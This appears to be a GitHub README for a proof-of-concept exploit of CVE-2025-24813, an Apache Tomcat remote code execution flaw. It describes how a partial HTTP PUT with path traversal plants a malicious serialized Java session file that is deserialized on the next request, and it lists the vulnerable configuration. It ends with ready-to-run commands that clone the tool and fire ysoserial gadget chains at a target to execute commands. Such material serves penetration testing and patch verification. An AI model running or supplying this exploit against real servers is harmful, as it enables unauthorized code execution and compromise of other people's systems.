yuzuki-ayanami/cve-2025-24813CVE-2025-24813 - Apache Tomcat RCE via Session Deserialization - PoC Exploit
Apache Tomcat - Remote Code Execution via Session Deserialization
Unauthenticated partial PUT + path traversal + gadget-driven deserialization
Apache Tomcat instances with the default servlet PUT enabled (readonly=false) allow writing files via HTTP PUT requests. By crafting a path that traverses out of the upload directory to the FileStore session storage location, an attacker can plant a crafted serialized Java object as a .session file. The next request that references this session triggers deserialization, executing the embedded gadget chain.
readonly=false in conf/web.xmlorg.apache.catalina.session.PersistentManager with configured in the webapp's FileStoreMETA-INF/context.xmlorg.apache.commons.collections.enableUnsafeSerialization=true (or commons-collections < 3.2.2)PUT and path traversal are not filtered by a reverse proxy or WAFgit clone https://github.com/yuzuki-ayanami/CVE-2025-24813
cd CVE-2025-24813
pip install -r requirements.txt
python cve-2025-24813.py http://target:8080 --ysoserial ysoserial.jar -c 'id'
python cve-2025-24813.py http://target:8080 --ysoserial ysoserial.jar -c 'whoami' --gadget CommonsCollections7